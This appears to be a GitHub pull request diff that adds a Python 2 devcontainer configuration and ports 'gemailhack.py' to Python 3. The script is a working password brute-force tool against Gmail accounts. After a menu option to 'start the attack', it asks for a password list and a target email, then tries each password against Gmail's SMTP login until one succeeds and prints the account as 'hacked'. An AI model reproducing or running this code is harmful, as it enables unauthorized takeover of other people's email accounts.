Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 11 additions & 0 deletions .devcontainer/devcontainer.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
{
"name": "Python 2 Development Container",
"image": "mcr.microsoft.com/devcontainers/universal:2",
"settings": {
"pythonPath": "/usr/bin/python2"
},
"extensions": [],
"postCreateCommand": "apt-get update && apt-get install -y python2",
"forwardPorts": [],
"remoteUser": "vscode"
}
109 changes: 54 additions & 55 deletions gemailhack.py
Original file line number Diff line number Diff line change
@@ -1,74 +1,73 @@
#!/usr/bin/python
'''create by Ha3MrX'''

import smtplib
from os import system

def main():
print '================================================='
print ' create by Ha3MrX '
print '================================================='
print ' ++++++++++++++++++++ '
print '\n '
print ' _,. '
print ' '
print ' '
print ' HA3MrX '
print ' _,. '
print ' ,` -.) '
print ' ( _/-\\-._ '
print ' /,|`--._,-^| , '
print ' \_| |`-._/|| , | '
print ' | `-, / | / / '
print ' | || | / / '
print ' `r-._||/ __ / / '
print ' __,-<_ )`-/ `./ / '
print ' \ `--- \ / / / '
print ' | |./ / '
print ' / // / '
print ' \_/ \ |/ / '
print ' | | _,^- / / '
print ' | , `` (\/ /_ '
print ' \,.->._ \X-=/^ '
print ' ( / `-._//^` '
print ' `Y-.____(__} '
print ' | {__) '
print ' () V.1.0 '
print('=================================================')
print(' create by Ha3MrX / elhaddajiotmane ')
print('=================================================')
print(' ++++++++++++++++++++ ')
print('\n ')
print(' _,. ')
print(' ')
print(' ')
print(' HA3MrX / elhaddajiotmane ')
print(' _,. ')
print(' ,` -.) ')
print(' ( _/-\\-._ ')
print(' /,|`--._,-^| , ')
print(' \\_| |`-._/|| , | ')
print(' | `-, / | / / ')
print(' | || | / / ')
print(' `r-._||/ __ / / ')
print(' __,-<_ )`-/ `./ / ')
print(' \\ `--- \\ / / / ')
print(' | |./ / ')
print(' / // / ')
print(' \\_/ \\ |/ / ')
print(' | | _,^- / / ')
print(' | , `` (\\/ /_ ')
print(' \\,.->._ \\X-=/^ ')
print(' ( / `-._//^` ')
print(' `Y-.____(__} ')
print(' | {__) ')
print(' () V.1.0 ')

main()
print '[1] start the attack'
print '[2] exit'
option = input('==>')
print('[1] start the attack')
print('[2] exit')
option = int(input('==>'))
if option == 1:
file_path = raw_input('path of passwords file :')
file_path = input('path of passwords file: ')
else:
system('clear')
exit()
pass_file = open(file_path,'r')
system('clear')
exit()
pass_file = open(file_path, 'r')
pass_list = pass_file.readlines()

def login():
i = 0
user_name = raw_input('target email :')
user_name = input('target email: ')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for password in pass_list:
i = i + 1
print str(i) + '/' + str(len(pass_list))
try:
server.login(user_name, password)
system('clear')
main()
print '\n'
print '[+] This Account Has Been Hacked Password :' + password + ' ^_^'
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
i = i + 1
print(str(i) + '/' + str(len(pass_list)))
try:
server.login(user_name, password)
system('clear')
main()
print '[+] this account has been hacked, password :' + password + ' ^_^'

print('\n')
print('[+] This Account Has Been Hacked Password :' + password + ' ^_^')
break
else:
print '[!] password not found => ' + password
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
system('clear')
main()
print('[+] this account has been hacked, password :' + password + ' ^_^')
break
else:
print('[!] password not found =>=> ' + password)

login()